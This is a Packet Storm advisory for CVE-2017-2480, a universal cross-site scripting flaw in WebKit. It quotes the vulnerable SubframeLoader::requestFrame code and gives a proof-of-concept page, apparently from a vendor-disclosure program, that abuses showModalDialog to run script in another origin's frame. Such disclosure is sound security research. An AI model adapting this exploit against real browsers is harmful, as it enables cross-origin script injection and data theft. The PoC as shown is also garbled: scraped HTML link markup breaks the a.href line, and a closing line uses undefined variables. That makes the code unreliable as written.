WebKit Synchronous Page Load UXSS

WebKit suffers from a cross site scripting vulnerability via a synchronous page load.


MD5 | fdf9dcb26a4c3fe75f6a4e5f72ae0bdd

Download
 WebKit: UXSS via a synchronous page load 

CVE-2017-2480


Here's a snippet of the method SubframeLoader::requestFrame which is invoked when the |src| of an iframe object is changed.

bool SubframeLoader::requestFrame(HTMLFrameOwnerElement& ownerElement, const String& urlString, const AtomicString& frameName, LockHistory lockHistory, LockBackForwardList lockBackForwardList)
{
    // Support for <frame src="javascript:string">
    URL scriptURL;
    URL url;
    if (protocolIsJavaScript(urlString)) {
        scriptURL = completeURL(urlString); // completeURL() encodes the URL.
        url = blankURL();
    } else
        url = completeURL(urlString);

    if (shouldConvertInvalidURLsToBlank() && !url.isValid())
        url = blankURL();

    Frame* frame = loadOrRedirectSubframe(ownerElement, url, frameName, lockHistory, lockBackForwardList); <<------- in here, the synchronous page load is made.
    if (!frame)
        return false;

    if (!scriptURL.isEmpty())
        frame->script().executeIfJavaScriptURL(scriptURL); <<----- boooom

    return true;
}

A SOP violation check is made before the above method is called. But the frame's document can be changed before |frame->script().executeIfJavaScriptURL| called. This can happen by calling |showModalDialog| that enters a message loop that may start pending page loads.

Tested on Safari 10.0.3(12602.4.8).

PoC:
<body>
<p>click anywhere</p>
<script>

window.onclick = () => {
    window.onclick = null;

    f = document.createElement('iframe');
    f.src = 'javascript:alert(location)';
    f.onload = () => {
        f.onload = null;

        let a = f.contentDocument.createElement('a');
        a.href = '<a href="https://abc.xyz/';" title="" class="" rel="nofollow">https://abc.xyz/';</a>
        a.click();

        window.showModalDialog(URL.createObjectURL(new Blob([`
<script>
let it = setInterval(() => {
    try {
        opener[0].document.x;
    } catch (e) {
        clearInterval(it);

        window.close();
    }
}, 100);
</scrip` + 't>'], {type: 'text/html'})));
    };

    document.body.appendChild(f);
};

cached.src = kUrl;

</script>
</body>


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.




Found by: lokihardt


Source: packetstormsecurity.com
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